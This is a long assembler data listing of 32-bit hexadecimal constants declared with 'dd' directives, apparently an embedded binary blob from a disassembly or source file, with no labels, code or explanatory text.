dd 36272B04h, 136409D2h, 5FCCF848h, 0BF85008Fh, 950D06A5h
dd 5007A79Ch, 76819771h, 0D17AADF2h, 8C560518h, 0BBADC41Dh
dd 0D0E5DDC0h, 6E721EBEh, 5EF40EBh, 3AFF038Ah, 8077CC00h
dd 6DAFAEC0h, 4ED70A7h, 79B813EFh, 38308807h, 0E20C907h
dd 902BBF66h, 569FCD0h, 0B6C77792h, 9450C01Eh, 4807AA31h
dd 49505A6Dh, 4C357250h, 96163895h, 58FB8887h, 0BDB74094h
dd 0CC312E83h, 0A11EF150h, 1C270C7Dh, 1D811020h, 6900286Bh
dd 4AC06658h, 95F44BBh, 0EC521871h, 0FE610049h, 0AF229890h
dd 1289F000h, 42FBAB9Dh, 0DAB6011Ch, 0A5B473B7h, 85BD2101h
dd 522769E8h, 22A3A482h, 4E20152Ch, 4C3989C7h, 19007A3Dh
dd 0A9BD730Ch, 88008545h, 27133712h, 0BE0810h, 30C7B533h
dd 0D526F7DBh, 2A362C18h, 360E9D9h, 5BE8818Dh, 908F0BD7h
dd 0AFAB3F5Fh, 0EEC10F0Bh, 8C4004Fh, 0FEF86368h, 93D02E30h
dd 0B10B00A8h, 0E40456AFh, 225C0F5Ch, 469E92Ch, 575C1Fh
dd 938C70A2h, 5A79F799h, 2472DA13h, 0ABD5790Eh, 0A7C88ED0h
dd 31407923h, 72AC37F5h, 0D41A00A9h, 9FC5C268h, 123F8AF0h
dd 0FA2D042Eh, 0F880E85Ah, 0B859B390h, 48660EECh, 0D0520B07h
dd 0A849C624h, 0B2417A00h, 83B079F5h, 6851127Ch, 1D6809DDh
dd 8680BCC8h, 8D6D8528h, 155A5900h, 4B79D8DFh, 88B961h
dd 52B30BA2h, 1400D43Ah, 5FCF92ACh, 13CEAEFDh, 0B8385116h
dd 644800D0h, 8A4B1940h, 0B3C9001Dh, 57BC32BBh, 0DCB11AD8h
dd 3D44CD00h, 0B36D7CFh, 0EF19B363h, 1294B810h, 92B85378h
dd 0E790D080h, 0D9AF3Ah, 0B5B00ECDh, 37C0627h, 0DFAE9E2Fh
dd 0C0BCBE23h, 0A47661Ch, 6B803454h, 6F513600h, 0A31D0250h
dd 95E67372h, 0F1387010h, 0F4150100h, 82596FCCh, 0D6DB04C4h
dd 0A40B6989h, 9F3E60A0h, 958D93D2h, 4C31B089h, 24ED152Fh
dd 0BF015400h, 5A2ADDB5h, 0DE69A90Eh, 47807F6Eh, 0A019B688h
dd 1379C903h, 8C00305Ah, 0CE500D31h, 0E5EFF37h, 0C1A0AAD6h
dd 0C4E8C05Fh, 1246A830h, 37FD83Eh, 781F1834h, 0D5D1C032h
dd 0A4423FF6h, 7588884Ah, 0B3127200h, 831AF8ECh, 45A54E5Eh
dd 0B4882140h, 0AB09EB0Ch, 17F51B2h, 801B1D3Ch, 7376C980h
dd 55BBE469h, 0AA14DCECh, 305466h, 918685CEh, 0C76EFDh
dd 3CDEB19Dh, 5C446888h, 80FB012Fh, 4C9180D0h, 608905A8h
dd 80595E6Ch, 36BA4938h, 13E63898h, 0D290F009h, 88490888h
dd 0C86F2141h, 1FA20h, 491D69D1h, 4A06A845h, 0B40B1078h
dd 0A81CED48h, 0FDC0C0E0h, 5C7A4BEFh, 363C6816h, 0F843D504h
dd 3178C0C3h, 0C10262C7h, 268B8F87h, 547A1Bh, 4DDF9467h
dd 3FF75C51h, 27495E00h, 55EE2089h, 83D40FFAh, 31582C7Fh
dd 510E3129h, 0A025EA40h, 809712CDh, 7589AC5h, 2E3D1178h
dd 8C4E45D9h, 0AD00B89Ch, 8F4ECDAh, 18E79F1h, 7FC1F819h
dd 4764E58Fh, 9E1F73B1h, 71614800h, 0D96E5B1Bh, 0C27413ACh
dd 36B4C18Dh, 9AA02423h, 3DA5E600h, 184D404Eh, 0A8B918D9h
dd 6D4B40E2h, 2E072013h, 6C8C0421h, 0E6F6E0h, 0B7356281h
dd 21A73258h, 0D1E4C504h, 0E1808B98h, 9DA8ECh, 0EEDBCEF4h
dd 0E7C7AD90h, 11614D00h, 77F84BF7h, 91963881h, 501ABA01h
dd 8014518Ch, 9487F039h, 0ABFB9Eh, 0A342F802h, 0F624DCD6h
dd 0F2485303h, 0BB30C5DDh, 2B3001FFh, 0AA078BE4h, 5D22FCD7h
dd 6B447B00h, 0E819594Ah, 6A58C02Ah, 0BFF031DEh, 0DC789600h
dd 0C5369C1Dh, 0FFCC0A0Bh, 1EC7A47Eh, 0EC2BC09Eh, 8DCB45E8h
dd 87AB8200h, 7F442C51h, 78A00B7h, 0CD010B38h, 8CFF61A7h
dd 39215980h, 0C71B00A8h, 38F0D242h, 523311C1h, 0F0C8D90Fh
dd 128C68h, 3DA48115h, 515B3F29h, 930A85E8h, 409801C8h
dd 0A31E1F00h, 0D68E3Ch, 158A0A6Ch, 0A613415Ch, 0FE1413B8h
dd 7580360h, 0E9BD51E1h, 31802A36h, 52919D85h, 5C818010h
dd 0F560D4C5h, 61AD7C70h, 0AEB71913h, 0CC16FDA7h, 120053C0h
dd 8F8C6A06h, 608BB23h, 0B7F4054Bh, 0CF2314Ah, 0D800A271h
dd 4C674EC1h, 0F72C56h, 0B4815F77h, 0B09A769Ch, 72EF8420h
dd 82740039h, 6A7ED06Dh, 8E50C542h, 0F80092D8h, 457B5E8Dh
dd 7568ECh, 0F035308Ah, 0F4D4BF9Bh, 0E8212628h, 31070C00h
dd 8841DFB5h, 367A0023h, 57EA42CAh, 0B9E89BA2h, 0F6F80650h
dd 0E70BF9C3h, 4652D9B2h, 5B10B980h, 75C740B1h, 4170F5F4h
dd 82042000h, 4535E16Fh, 0A89D55B5h, 1C44C2h, 6640D11Ah
dd 0ED7B5C4Fh, 1940839h, 0DDABA27Ah, 20E8CB4Dh, 0AF910AD4h
dd 6FF8CCE1h, 0C4978540h, 7303F960h, 0A178FE6Ah, 9A9FC82Dh
dd 304471B7h, 0BFB19B2Fh, 1A3559D7h, 70047924h, 5607AB3Ch
dd 7D4D40EAh, 27615FE3h, 0F280B020h, 7D567D0h, 7E2D26D9h
dd 28551091h, 11009F66h, 14752A50h, 28B5CFFh, 91FCCD6Ah
dd 0D440C3EBh, 254CC07h, 0AA004728h, 0A580A24Fh, 863D4Dh
dd 0B1FBFE97h, 5A555D0Fh, 91624630h, 300972ECh, 0EF114F32h
dd 0CF00C3D8h, 0BFC594B6h, 93B167Ch, 0D4AD3815h, 82261003h
dd 55A1B3C9h, 20000B0h, 0A8A2DF8Fh, 424F0101h, 25E436C0h
dd 370F8050h, 3A8C01F9h, 6A9A5727h, 61282482h, 0B7DBC913h
dd 0FC6B3420h, 0E2850AD9h, 0CA6C66h, 0B8FB0292h, 0A4078958h
dd 0EFEA59FEh, 3EB14A26h, 0B1008428h, 881CF44Dh, 69549A40h
dd 46289D84h, 0E551747Fh, 7CB5E448h, 0B696D702h, 13B29A63h
dd 18DF19E8h, 0A001C918h, 0CA2E1h, 0B8EAF705h, 974D9ABh
dd 5698CA06h, 691144h, 0CED0A055h, 0E6B168EAh, 78AF7900h
dd 0B0702E28h, 0B8EC001Eh, 1438E10Eh, 3483073h, 8B728008h
dd 759BC70Ah, 66DD092Ch, 0E810B693h, 5907A7DBh, 0E4315B0Fh
dd 0C8C12Ch, 3681CFB9h, 0DBBBEBAEh, 2C0DBD00h, 1A0A9BAAh
dd 302F3035h, 0DD114F61h, 4485FA00h, 0D64E5D39h, 77778F2h
dd 1AE5C284h, 83FB7117h, 0C2B6E9ECh, 96009C44h, 1E550759h
dd 0F7430AEh, 42B605A1h, 0E581E980h, 3C03B38Fh, 2F38A804h
dd 5F713848h, 0EF06A487h, 4D97E044h, 0F9074F6Ch, 0A5BF1F65h
dd 0C8400505h, 9BCED662h, 0B22D00AFh, 352E5F3Fh, 500085F4h
dd 0E283A73Ch, 0D426593Eh, 3500A491h, 0AE69EABFh, 0B026823h
dd 0C51DB8AAh, 1C904027h, 2C6F00E6h, 44329152h, 7B0561F5h
dd 7F9DCE4h, 0CBE66C00h, 0FE7D448h, 2FC8E6Eh, 1166A5E7h
dd 0C75599B4h, 7830DBA0h, 0F6382400h, 0B5483C59h, 39B72AA9h
dd 0E79B0CCh, 22379992h, 9A2FB240h, 0AF090523h, 75B093CEh
dd 810BD89h, 51FA0C17h, 4A7CB26h, 3B0EF868h, 9296C01Dh
dd 16AF0AC9h, 4AA5CF8h, 0CCB5AC93h, 0E33B9878h, 0B08F00E1h
dd 813B7292h, 534314F3h, 42006C06h, 0B0E3EBB1h, 9398C08h
dd 232E8528h, 0D3C0D357h, 0C0374550h, 0B5CA1C51h, 0BF0043B8h
dd 0BB21C41Dh, 31FEE34h, 453C6D72h, 59189C6Ch, 0D3C99EE5h
dd 6DB8008Bh, 38DD9BB7h, 4307FE33h, 1A5FBF9h, 7F1531ACh
dd 63BF3F7Dh, 52D0B401h, 0C09DF2E3h, 5912FBDFh, 6442E985h
dd 0A05B3214h, 7E4D4288h, 445900E5h, 0D6438572h, 967F7A71h
dd 2612D15Ch, 3D40A8E3h, 28B2A1F6h, 889E45h, 11C83F65h
dd 0CB5EFB14h, 24C46438h, 0C58034A9h, 97B9365Bh, 6F600DDh
dd 0C4AE7D62h, 0B0A4B71Eh, 3BBEC900h, 266321F0h, 0E67400DBh
dd 0CF94966Ch, 4C90CD0Eh, 13505B48h, 0B80B90FAh, 158003D6h
dd 0C5CDEB7Fh, 0B08C20C8h
dd 0D3FA079Ch, 0ACA0A88h, 0C63F408Ch, 0A0008011h, 0D9A6623Ah
dd 0F4FFB333h, 9D84008Eh, 77E96A81h, 89289B52h, 85001CD5h
dd 797BD962h, 0CF6CA4h, 45D06591h, 0F5BBCC66h, 9F303607h
dd 0BD45A338h, 448464CCh, 0C7033D9Bh, 33C30E79h, 0A42085E6h
dd 0E07FCAh, 0DE965D16h, 59CD1808h, 80BC2C58h, 0B1497143h
dd 0A05C3ECAh, 0CB215B01h, 4CC7D644h, 0AA38E2B0h, 5A358093h
dd 6A78409Ch, 7F03A96h, 0D5414703h, 161F9285h, 9C28CC0Ah
dd 97939F8h, 9352E802h, 0E8042369h, 3DD1B8FCh, 0FC805445h
dd 7396C8A1h, 0DB363AEDh, 54071B0h, 30BA8021h, 277848C5h
dd 0EA35AD40h, 6031C0A4h, 0A088962Eh, 445C5901h, 16139199h
dd 1529DC70h, 883E303Ch, 40495212h, 2C466708h, 87007E57h
dd 0DF3AF350h, 5886E609h, 120313C9h, 8F309159h, 2B1230D6h
dd 6808737Ch, 0FB538051h, 8B4E58Eh, 27EDCD00h, 0C822A393h
dd 0C209043h, 28B29BD0h, 58A83471h, 0A6006480h, 0E840E067h
dd 0F0709Fh, 8FD4DABBh, 512ACDC7h, 0E0394C6Fh, 86295A37h
dd 84B2017Fh, 52F08382h, 0F5218012h, 0D928983Fh, 445D266Eh
dd 0EB5F005Ch, 4749F150h, 72D0EF01h, 0A7E04814h, 0A39B818Bh
dd 0B5466C10h, 4C38D1DFh, 0AA0F8004h, 7F247C4Bh, 0A136049Fh
dd 0C17F2520h, 82890CD0h, 0D9E4A7E0h, 0C1C8002Ah, 0F11E69B0h
dd 90C13BD6h, 953148C9h, 5950E347h, 949235h, 88F1BFFAh
dd 31E3AA09h, 713C5876h, 81A5A685h, 8F51DA18h, 0BF740779h
dd 4F87DFADh, 838B67A0h, 0D9021BBAh, 0D743A216h, 17444E5h
dd 4178DCB7h, 0C83DB5C3h, 3585CC9h, 7DF180F0h, 17BC3AD3h
dd 1776B86Ch, 2785320h, 1A51DC20h, 3BF93CE0h, 8D9C926h
dd 98E3190Eh, 0B06161h, 8F65820Bh, 6B2ED2FEh, 0C55CE800h
dd 0F68B8AD3h, 0A4C8523Bh, 0A8A18D00h, 0BBFBB31Ah, 0C0949B5Ch
dd 0F51D9958h, 74FA0724h, 3502EEF7h, 0AB98CC9Bh, 0FBE1E517h
dd 81A6B40Fh, 97E340D7h, 9CE4CC50h, 0B49B1619h, 415A0EBCh
dd 0D5DCDDh, 0AF369A8Dh, 8E09FE7h, 3EACC3Dh, 2F590DA4h
dd 23814AD8h, 27904624h, 0D51F28E6h, 0F6CF4143h, 2F79A0B1h
dd 707E9036h, 0E8BB0034h, 43202C71h, 0B72C9BE5h, 7361B42Bh
dd 9FC716A0h, 94108D97h, 7F16346h, 1F3EB76Ah, 0F7008B07h
dd 7B60C240h, 0C800E0ECh, 0A9982B99h, 12F8D779h, 911A42A5h
dd 0EA0430E0h, 0C800B84Ah, 1C10FCE7h, 0A8B02CF8h, 3357A91Dh
dd 0A8AA4F80h, 0E7ADBCFh, 99B3818Eh, 6D4690F8h, 0C00C2DEDh
dd 0FDDEF9F5h, 7C47F25h, 0B2B1A08Ch, 352FF21Bh, 796DCA7h
dd 691610B8h, 328D4FBh, 0BB24A4D2h, 39408CE4h, 129D5E5h
dd 35CE4F23h, 0DCB3F3D4h, 3485EABh, 0F54B80F0h, 0DD093Dh
dd 0C9C024ADh, 8BF75FFDh, 0E8F8692Bh, 39054303h, 18DAC0A2h
dd 5D2200B8h, 0CA1342C9h, 43032C76h, 0CB411A9Eh, 33E4C198h
dd 0EA14D185h, 0E549C3A6h, 0D68619E8h, 92957F39h, 0F420E85Ch
dd 0B80406h, 6A44387Dh, 0FF94954Dh, 0B3D39A00h, 0A25E120Dh
dd 0F7772CDBh, 0BCE71570h, 0CC94CA1Dh, 7F11FBC0h, 686E0D0Eh
dd 0BD2F6415h, 315924B4h, 0BC9F528h, 0CC3BC83Ch, 8780C85Ch
dd 29D0D197h, 9466E416h, 0F55100D8h, 0B8CA39DAh, 0F24B400h
dd 31A288AFh, 5FB30035h, 9A8A80F1h, 0CE05F8A3h, 0AD065C95h
dd 0C9457BC1h, 9103CCC8h, 90D41310h, 53CA60C0h, 80133Dh
dd 0DAF1880Dh, 2D561238h, 46E2C374h, 70008CC4h, 5AE55D0Eh
dd 77558B6h, 92D4536Ah, 0A47EA085h, 0B077FE1h, 5D361A7h
dd 5806D0F0h, 0A0727419h, 0FF8CD38h, 5D8B64ACh, 71136C20h
dd 81F5C9Eh, 2C4EE37Ah, 1DB6009Ah, 4CEAF1Bh, 0BE426AE1h
dd 1FCA294h, 495FD5C7h, 8E40F04Ah, 381A12FFh, 424FB1F8h
dd 0B9882A14h, 3A20DCE0h, 0AFEC903h, 0C0B17F42h, 295FECA4h
dd 0DCC52Eh, 4813748Fh, 5230DAC1h, 5429693Eh, 0A95607B3h
dd 70A5EA12h, 241DC40Bh, 522C7D00h, 340F44F7h, 0B1B91660h
dd 354089Ch, 0AD906B80h, 18DFF08Ch, 19B101ABh, 0EF1C0FFEh
dd 3B83C917h, 48BF9A29h, 3D2CAC80h, 208B592Ch, 8C9433ECh
dd 3E19F240h, 0E4B7599Ah, 7549409Fh, 7EC35D7Fh, 1531BD00h
dd 0AE9A8E77h, 3A59C02Bh, 0B99C6BF8h, 0EB2C9B00h, 8C26F3F4h
dd 0B7B055Eh, 0C8019FB5h, 5800255Ch, 1298B039h, 105C9D3h
dd 21D7F49Ch, 0EC8FE708h, 0B90061A0h, 632B60F5h, 6F4B775h
dd 0EC21269Ah, 1F00B143h, 0C5BBBE1h, 1D92159Bh, 0FA859CD6h
dd 611C00FEh, 877B4C8Bh, 590062A7h, 0AED458C2h, 12BFE91Eh
dd 30FA0130h, 0F1A1FDA4h, 20520227h, 4C67C288h, 0B5800282h
dd 0C930FB27h, 0D0EEA269h, 40003807h, 8BE242FCh, 48017713h
dd 85004818h, 64C8EA51h, 48F0D9ABh, 0F9C0ADE6h, 0D099ED82h
dd 0DE8C042Dh, 80250DD3h, 16B095A0h, 30FEC832h, 7F072E7h
dd 84BA892Dh, 36392C5h, 6D12F064h, 0F400DA27h, 0B8B3A487h
dd 3ECD8h, 17EA893Dh, 14181C6Eh, 0D1E32B00h, 5AF82C9Ah
dd 0BCE44C94h, 3470409Fh, 0BFBD11EFh, 8F5F5407h, 0EAD2261Ch
dd 9441203Ch, 30E09784h, 83A30C3Bh, 8152AF5Ch, 6160CA65h
dd 9C22B79Fh, 61AEF601h, 634145A0h, 5F592CD0h, 0CA106600h
dd 55518Eh, 0BE28C90Ah, 98B3A22h, 0F90540B4h, 50409FA5h
dd 0EDF6791h, 66F2411h, 0AC1D4070h, 0D609B331h, 9207E3A4h
dd 28E000A8h, 7427429h, 0FC68780Ch, 0BDD21044h, 0D1CE67EBh
dd 7FCE4004h, 0F8A24AE4h, 410260EAh, 0BAB7106Ah, 50705200h
dd 0CA347377h, 1D9A1999h, 4061E129h, 322FCED4h, 0BE6951C0h
dd 0D191F3h, 0FB780A90h, 63B61670h, 0D4B57E00h, 2E6A8C29h
dd 0B2310993h, 0E010067Dh, 6F3FF488h, 0E2BD0222h, 911B9BD7h
dd 642933A4h, 0C1F6CC02h, 4C04D78h, 8588F9CBh, 98F4BA93h
dd 0E7C82208h, 0B1EDB50Bh, 95D000E0h, 0AE8FD05h, 0E45577A9h
dd 0D53A40C8h, 0EA00B7A2h, 0A586C018h, 13CFF71Eh, 99516A3h
dd 180BD418h, 3DD5F500h, 0B307CBA0h, 5FF4A75Eh, 88C8B1D5h
dd 0A9C90246h, 9FDB45CFh, 34805872h, 91008D26h, 0E0E10110h
dd 2489609h, 0CD971BFBh, 0B4C4E4F5h, 0CA99840Eh, 65053781h
dd 48C02C2Dh, 72F80FDh, 18B63671h, 0E9F14056h, 51208B0Bh
dd 849D010Fh, 0DFBE7414h, 7F047350h, 888E0A00h, 0F806095Fh
dd 0AE7200E0h, 173814D9h, 680C012Fh, 0A9EBE39Bh, 0F44B13FAh
dd 0C1E40137h, 2233A1AAh, 0DC810018h, 5C3BB15Ah, 7FF00066h
dd 3AA227DDh, 4678A158h, 5AE8AF54h, 71C73B01h, 0B663B481h
dd 2180C028h, 11177482h, 0FA249500h, 0A6DBE373h, 58F10006h
dd 4AC1AFD1h, 3A00873Bh, 8CE225A1h, 0B2612F47h, 310D2CCCh
dd 5F240ECh, 903D715h, 0C06DC129h, 0A798B0A8h, 0ED33D27h
dd 20A7583h, 0AFE0897Bh, 0BBF0FC78h, 80740148h, 4B548B81h
dd 5D200ED5h, 0CB0448FBh, 326081EAh, 0AE69BA5Eh, 9E00372Eh
dd 0EE1904D4h, 1DEA0273h, 76759A38h, 0B212D052h, 430023D7h
dd 4D68B679h, 401CBC30h, 0F744E8AAh, 281FCA02h, 710364A9h
dd 240A005Ch, 0E84280CDh, 0C31DF607h, 4059D101h, 0CE832E8Ch
dd 0F8354549h, 2528047Fh, 0EEA2B00Eh, 0D51DD4C5h, 9AEAD844h
dd 65ED4090h, 0CC970057h, 9084FCFFh, 8E48F16Eh, 0DF40702h
dd 0F810598Ch, 474B458h, 6062F2B5h, 0C4CC8803h, 0BF0E21EEh
dd 407051D9h, 62409726h, 7F310411h, 0B45213FBh, 27715AD0h
dd 99BA7000h, 373F7C44h
dd 0F24E01FEh, 321CFBB5h, 0C5A85036h, 10008361h, 0FE6A8ABBh
dd 0B622340Dh, 52A8033Ch, 9E07E04h, 0C001B5Fh, 8EB7B5Bh
dd 0BE9BED15h, 4E6C40E8h, 380211A4h, 5E3BAC53h, 0B79E43B9h
dd 0C0F4EF2Fh, 23C9EB1h, 0CD6187Eh, 0A2EFC07Bh, 801C0158h
dd 6A46E205h, 8BE000A0h, 7CC5BB32h, 0A1005F73h, 2F68428Dh
dd 740835h, 81843DA4h, 8A5A7940h, 894B5130h, 1696A8Bh
dd 3C26E095h, 7D298909h, 0DEC86038h, 0FC0BB999h, 1CD89E6Ch
dd 4CD0B3Ah, 0D09B818h, 22C88E2h, 0D50450A4h, 0D8F2A925h
dd 7A0A2000h, 0AA6C67B6h, 0BAA60100h, 374B1181h, 40D55A7Bh
dd 326D4390h, 4600A23Fh, 4F2E628Dh, 0C8F040h, 66CDF824h
dd 8138C754h, 7DD8A409h, 0A0B0C49Ah, 5EA0F2CEh, 49280813h
dd 0BA0EDC80h, 36C4B47h, 59FC8F0Ch, 4DA8AAD2h, 0EC92C919h
dd 0E3244550h, 3EF6BD00h, 0DEC40F48h, 0B7F70005h, 0EF4DC139h
dd 0DCB9D8FCh, 1006EA4h, 0BE3CFB95h, 208E070h, 0B89FE9AAh
dd 0C0680DBFh, 0D3652B59h, 28E23D69h, 42B7B600h, 0E190470Dh
dd 581A2C00h, 0BC64F3EDh, 78BD01C2h, 0CEC892ACh, 0C3A470DBh
dd 310A1016h, 0C265821h, 0F24EEFD0h, 5112006Bh, 0C1456698h
dd 3017A405h, 64D0E4A6h, 0E65A28BCh, 86D50041h, 9D75F0D2h
dd 778D668h, 6103DE09h, 4D4A809Bh, 0DFD7456Ch, 0D8003BDCh
dd 86BCEA71h, 9CBCE37Ch, 81E41780h, 66B4CCh, 0D24FDBBFh
dd 1CB79B1Eh, 44759813h, 0E181ACD5h, 7BFC912Fh, 0EBBE2E14h
dd 0AF7640F8h, 5A005B2Ch, 8749B71Bh, 7366E1C1h, 278F004Fh
dd 0E4CBF55Fh, 0F8072677h, 7B2A7D36h, 20827035h, 0F8B843B5h
dd 1267402h, 0DABFAF5Bh, 893D3209h, 80B39261h, 534952Ah
dd 0C12600D9h, 78A7B0E8h, 1400523Dh, 0C9480B25h, 0EA907F2h
dd 0CD6A24DDh, 0C7D1B0A0h, 1904FA78h, 45B6827Dh, 0FEC0DC89h
dd 9A8A015Dh, 0CD3B7889h, 3281D0EDh, 4DF83E00h, 1A8BF9EEh
dd 1401489Ch, 5FFCEBC0h, 4E2E88D0h, 504080E8h, 264AB86Bh
dd 8420147Dh, 0E06656F1h, 0C9C94414h, 31B0E807h, 0ED100067h
dd 0B8478A2Ah, 7B000ED5h, 0C2B40488h, 91D1142Eh, 0F8638030h
dd 0CC82CD25h, 0F4579100h, 38D064BDh, 0F9600218h, 0EABA34B0h
dd 6002844h, 844152B7h, 65152Fh, 54882E97h, 0F3EE76Ch
dd 8C9CD770h, 0A60C0B80h, 0EB7F50EBh, 6071ECh, 0B19E8C19h
dd 321642CEh, 0C380F89Ch, 5F61BFF9h, 24CF02F0h, 0AACDFA4Dh
dd 0C8A8F8D2h, 220BFCFDh, 0E8D423A2h, 4F26Ch, 4F1A7354h
dd 0AE319DFh, 5682421Dh, 1ED33802h, 0EB28C452h, 0B4A4D0h
dd 9488265Bh, 28434661h, 0A92D8890h, 5928903Dh, 0A6800F2h
dd 8F806946h, 4F3E2C8Bh, 0C7ED851Fh, 4003E862h, 883CD425h
dd 254EAD21h, 10629484h, 8D16FC40h, 0C393CF02h, 90EA1A42h
dd 4854018Ch, 3022D4FEh, 331E6DECh, 2840447Dh, 0A0B542E6h
dd 0EC5000C3h, 170F0C11h, 4D255DF7h, 3FCCC421h, 0FC7216h
dd 0F35B9F49h, 0A48B77CBh, 0C3ACDD4Ch, 8830BE4Bh, 3EBE50Fh
dd 0B4710899h, 8AC865B2h, 130D8C76h, 312D42C9h, 0A7CCA08Fh
dd 0D8C8518Bh, 0E2A09228h, 98F44A27h, 22301403h, 83A064A7h
dd 31CEC840h, 71CA1718h, 1AA4C88Bh, 7DA4E100h, 3B9125D4h
dd 0D2120E44h, 82A53695h, 0AA8820E6h, 14006C3Ah, 6A8199CAh
dd 972C9021h, 80D4C013h, 2D5912B1h, 7ACFF300h, 6EC3D370h
dd 47E45B9Bh, 702FDE54h, 6BFE828Ch, 8F257F0Eh, 8E14803Eh
dd 2EB11E9Dh, 404807D1h, 9E748AB9h, 4A6B6E00h, 0FF5248Dh
dd 0B7DE1866h, 0B3057921h, 0F1716A00h, 0FB124A7Ah, 96781EC3h
dd 983882BBh, 6F43CE9Eh, 0F3EE8091h, 3E369BE8h, 0BC88A14Ah
dd 61273ACDh, 0EEEF79FAh, 0ED2E0460h, 0F46A9AA9h, 20953084h
dd 0D7584DE8h, 0A08D0188h, 2EFE3A49h, 0A99820B1h, 3115B730h
dd 8FD52Dh, 0F40D8DF2h, 0B63ECFDBh, 175AE059h, 0EC2030AFh
dd 0DA72BEh, 0CA70BD3Bh, 9890F28Dh, 2C691C00h, 3F6809EBh
dd 0DB4518DCh, 0A47EB1AEh, 269ACE01h, 0FDAC31FAh, 0E0F8BBF7h
dd 946F6C42h, 0B37640A4h, 7316B1E7h, 0F8049A3Fh, 5641E6A7h
dd 32ED8C26h, 0F9FC1F1Ch, 8F214140h, 257C0Fh, 6D59C74h
dd 4DD18280h, 0CCE322h, 0A98BAAEEh, 29586AD8h, 0D0824300h
dd 1ACA6F3Fh, 0C8900107h, 263EEA9Bh, 0D3F4602Eh, 0AF82592Fh
dd 8FE0E48h, 0BF5380B1h, 150E735Ah, 69B3AF03h, 0F07198CFh
dd 0F838BBh, 0C95E9727h, 0E39A1AF6h, 7C52752Eh, 7BBA7F40h
dd 0B80E0064h, 0CF31E426h, 58BCAF9Ah, 9C5493C0h, 2A5D0320h
dd 3F351A67h, 16AF09F0h, 0CF237102h, 443042BFh, 0DA1D02B0h
dd 4C699A90h, 40D0D22Fh, 6F6BB5h, 77D89576h, 0F02C5637h
dd 4C1F73Ah, 84F16DA7h, 803D9FE1h, 0D7A91700h, 0D21F0F43h
dd 1823C200h, 0A59FB6D3h, 26950046h, 0A747FD99h, 6486EA9h
dd 90B3804Ch, 70BF8148h, 64563B21h, 87935E01h, 60ECC75Ah
dd 821E3DD4h, 102D543Fh, 2C6A84h, 679A02E0h, 4EB7B5Dh
dd 6498BE2Eh, 93884402h, 0E15840A1h, 127177B4h, 0B430A0C9h
dd 550F443Ch, 406DCC88h, 99655A3Ah, 0E81E61E3h, 3060E7A9h
dd 0BCF2D000h, 0C0D5222h, 530283A4h, 98A0F38Ah, 343D7AADh
dd 0C25F87B4h, 8E31F44Dh, 4C39C83Bh, 20314470h, 0B733C107h
dd 81002F3Ah, 0E9A41B79h, 9830D2C9h, 0BAED3030h, 0E49F0D10h
dd 0CD393260h, 9647383h, 19D8EDBFh, 0BD5A0C30h, 5E803C00h
dd 2F1790EFh, 9DEF22Bh, 97228598h, 38E8142Bh, 0FA026D6Fh
dd 960CB927h, 0FC4444h, 5ECC8FE3h, 4099AB69h, 8EF8541Eh
dd 350A2184h, 32BF2180h, 0A6CC0ED8h, 84009F8Ch, 0CEB4ED82h
dd 0C918F21Ch, 86F19618h, 0A6401756h, 0C72A07D2h, 1F707D0h
dd 3232D827h, 0CD730030h, 0E5603745h, 0D7E30046h, 9895D9B7h
dd 0AF021756h, 4814F5CEh, 800056B4h, 2FB5B1E6h, 0DD58B8D0h
dd 7B1F00C4h, 3B8CEA3Fh, 1AC446Dh, 88465Ch, 298413E4h
dd 617C6h, 0F1D349BEh, 9230726Eh, 0A3071099h, 5B94A1EFh
dd 0E1B92147h, 0F0D95C0Fh, 99001696h, 93CEDC72h, 27FD5AEh
dd 6C1E611Fh, 0B459170Ah, 0C4741D0Eh, 30F29243h, 0F5473400h
dd 449ED876h, 0E71F09E8h, 6D016217h, 481820C0h, 9D0D2DEh
dd 3608C27h, 0B3D298C8h, 7E57DD00h, 0ED637222h, 0BBF40579h
dd 14181B5Ch, 22718B4h, 0E8DBB091h, 9300770Fh, 0CCC67432h
dd 350D728h, 0D41B1AAEh, 9AE0E012h, 610CF8B3h, 0C23C7794h
dd 7B66027Ah, 7C0C2B0Eh, 0FFB37E0h, 6AF0800h, 4C25F68Fh
dd 0D8F47Fh, 2FA0E55Dh, 18E60135h, 0CEB51216h, 252BD440h
dd 48790B0h, 3B32E504h, 80F4B809h, 0A394E62Eh, 100B1CE7h
dd 0CA3500EDh, 6B46A425h, 8586551Ch, 6C81C469h, 0BE6DB92Dh
dd 3440C8D3h, 7A6F09BCh, 4CC490D6h, 116EEE07h, 600085DCh
dd 21F667h, 904827F1h, 96E78DE2h, 0C5209E5Ch, 22C04031h
dd 87980Ch, 8EA40B3Eh, 0D49A4721h, 304E5613h, 0E5EA1C81h
dd 370E6CEh, 1076FCC4h, 8883AACEh, 304491B9h, 52162088h
dd 34018179h, 30E499CBh, 0F18D3980h, 0AA5818A0h, 81BF9B3Bh
dd 41CBC2F8h, 2E8216h, 2E13067Ch, 0A6001235h, 819F1D7Eh
dd 12328041h, 0D0EC403Dh, 0E6E1DE10h, 18338900h, 0D969E975h
dd 0E3E2C7h, 0D5C68C31h, 0AFB0BC9h, 0A014D124h, 18E29412h
dd 0A301007Fh, 9C5C052Fh, 0BF06E730h, 0DE4819D2h, 90EC0061h
dd 0CF09AA14h, 8F005DE3h
dd 96C58B2Ch, 4CF4CEA9h, 2D0388F3h, 0B842CD20h, 0CACFE880h
dd 78F3F6FCh, 26598468h, 0A0BF4BDh, 28C46C48h, 636EFA04h
dd 0F8F2C2E2h, 0FB02E400h, 0CF20EE19h, 91C55602h, 444D937h
dd 737B4084h, 13353089h, 88185C20h, 8200A42Ch, 568BE5D7h
dd 7CA250B5h, 0C9C60019h, 28589B64h, 5D78A189h, 0DDB1FE16h
dd 0EF94C830h, 3202004Bh, 7FC6C05Ch, 32E199CEh, 42AF00DCh
dd 2643E1B6h, 0C9880F98h, 81B4E8EBh, 8C21E900h, 17F2DEEh
dd 1D7CEC00h, 0E8BF8213h, 54AF5E9Bh, 0EDCF68E4h, 589E87A0h
dd 750FFE9Fh, 0A5F70B90h, 64E20896h, 0DF200C00h, 8583FCEEh
dd 7B5EFE00h, 0B95D76DDh, 44A600D9h, 0E2F82B3Dh, 0F7482C9Ah
dd 222D00ABh, 63D55AF9h, 2B9202CAh, 8542C294h, 0C544447Eh
dd 0C4412C32h, 7C4920EEh, 82A80658h, 0C2CBCF6Ch, 0F1F16196h
dd 1F7743C4h, 426A734Eh, 5E066FE8h, 5D0184F8h, 410C8B93h
dd 78732D3Ch, 8C10F92Fh, 1500D255h, 239FFC25h, 15A3FA0h
dd 700B7B4Eh, 6B658B75h, 0A3C43420h, 7E910005h, 0CFF2C0A1h
